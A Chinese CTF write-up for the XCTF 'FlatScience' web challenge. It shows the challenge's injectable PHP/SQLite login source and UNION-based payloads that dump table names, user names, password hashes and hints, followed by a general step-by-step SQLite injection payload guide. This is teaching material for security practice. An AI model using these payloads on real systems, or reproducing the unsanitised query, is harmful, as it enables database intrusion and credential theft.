zoukankan      html  css  js  c++  java
  • 攻防世界-WEB-FlatScience

    题目名称:web

    题目类型:web
    考点:sqlite数据库注入

    解题思路

    1、目录遍历

    目录遍历发现有admin.php login.php
    两个登录框都进行注入点测试发现login.php有sql注入漏洞,

    查看网页源代码发现?debug

    尝试访问,发现登录页面php源码

    <?php
    ob_start();
    ?>
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
    
    <html>
    <head>
    <style>
    blockquote { background: #eeeeee; }
    h1 { border-bottom: solid black 2px; }
    h2 { border-bottom: solid black 1px; }
    .comment { color: darkgreen; }
    </style>
    
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <title>Login</title>
    </head>
    <body>
    
    
    <div align=right class=lastmod>
    Last Modified: Fri Mar  31:33:7 UTC 1337
    </div>
    
    <h1>Login</h1>
    
    Login Page, do not try to hax here plox!<br>
    
    
    <form method="post">
      ID:<br>
      <input type="text" name="usr">
      <br>
      Password:<br> 
      <input type="text" name="pw">
      <br><br>
      <input type="submit" value="Submit">
    </form>
    
    <?php
    if(isset($_POST['usr']) && isset($_POST['pw'])){
            $user = $_POST['usr'];
            $pass = $_POST['pw'];
    
            $db = new SQLite3('../fancy.db');
            
            $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
        if($res){
            $row = $res->fetchArray();
        }
        else{
            echo "<br>Some Error occourred!";
        }
    
        if(isset($row['id'])){
                setcookie('name',' '.$row['name'], time() + 60, '/');
                header("Location: /");
                die();
        }
    
    }
    
    if(isset($_GET['debug']))
    highlight_file('login.php');
    ?>
    <!-- TODO: Remove ?debug-Parameter! -->
    
    
    
    
    <hr noshade>
    <address>Flux Horst (Flux dot Horst at rub dot flux)</address>
    </body>
    

    注入

    usr=' union select 1,group_concat(tbl_name) from sqlite_master where type='table'--&pw= //查所有表
    usr=' union select 1,group_concat(sql) from sqlite_master where tbl_name='Users'--&pw= //查表所有字段
    //查所有内容
    usr=' union select 1,group_concat(id) from Users--&pw=1
    usr=' union select 1,group_concat(name) from Users--&pw=1
    usr=' union select 1,group_concat(password) from Users--&pw=1
    usr=' union select 1,group_concat(hint) from Users--&pw=
    
    sqlite注入说明 小知识点: sqlite数据库

    1,什么是sqlite数据库:

    SQLite的是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite的本身是Ç写的,而且体积很小,所以经常被集成到各种应用程序中,主要在手机的应用中使用。

    SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。

    就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

    2,sqlite和 mysql的不同:

    熟悉MySQL数据库的人都知道,MySQL中有一个名为information_schema的系统库,里面包含了所有MYSQL数据库中库名,表名,列名的信息,那么SQLITE数据库有没有呢?
    答案当然是没有的。对于SQLITE而言,并没有库的概念,而是直接对象就是表了,所以SQLITE没有系统库,但是它是存在系统表的,这个表名为sqlite_master

    简单来说,SQLITE功能简约,小型化,追求最大磁盘效率;MYSQL功能全面,综合化,追求最大并发效率。如果只是单机上用的,数据量不是很大,需要方便移植或者需要频繁读/写磁盘文件的话,就用SQLite比较合适;如果是要满足多用户同时访问,或者是网站访问量比较大是使用MYSQL比较合适。

    3,sqlite 注入的示例payload:

    按照正常的sql注入步骤列出每一步的payload

    第一步: 跟mysql一样 先试 sql语句的闭合方式

    ?id=' //报错

    ?id=' --+ //不报错
    第二步: 测字段数

    ?id=' order by 3 --+ //不报错

    ?id=' order by 4 --+ //报错
    第三步:可以查看一下sqlite的版本信息(没什么用),或者 直接查看数据库中的所有的表名

    ?id=' union select 1,2,sqlite_version() --+
    ?id=' union select 1,2,group_concat(tbl_name) from sqlite_master where type='table' --+
    第四步:通过查询创建表的sql语句,来得到表的结构

    ?id=' union select 1,2,sql from sqlite_master where type='table' and tbl_name='users' --+
    第五步:脱库

    ?id=' union select 1,group_concat(username),group_concat(password) from users limit 0,1 --+

  • 相关阅读:
    数据库的左右表连接
    数据库索引-索引的优点、缺点、分类、不走索引的情况
    selenium中日期控件的操作方法
    esdoc 自动生成接口文档介绍
    css设置背景图(背景图太大导致图片显示不全)
    k8s调度器及调度队列源码分析
    MIT6.824 2020 Lab1 MapReduce 实现
    git命令
    python3.6、3.9多版本安装共存
    使用蓝鲸平台登录态验证接入第三方系统
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/15407073.html
Copyright © 2011-2022 走看看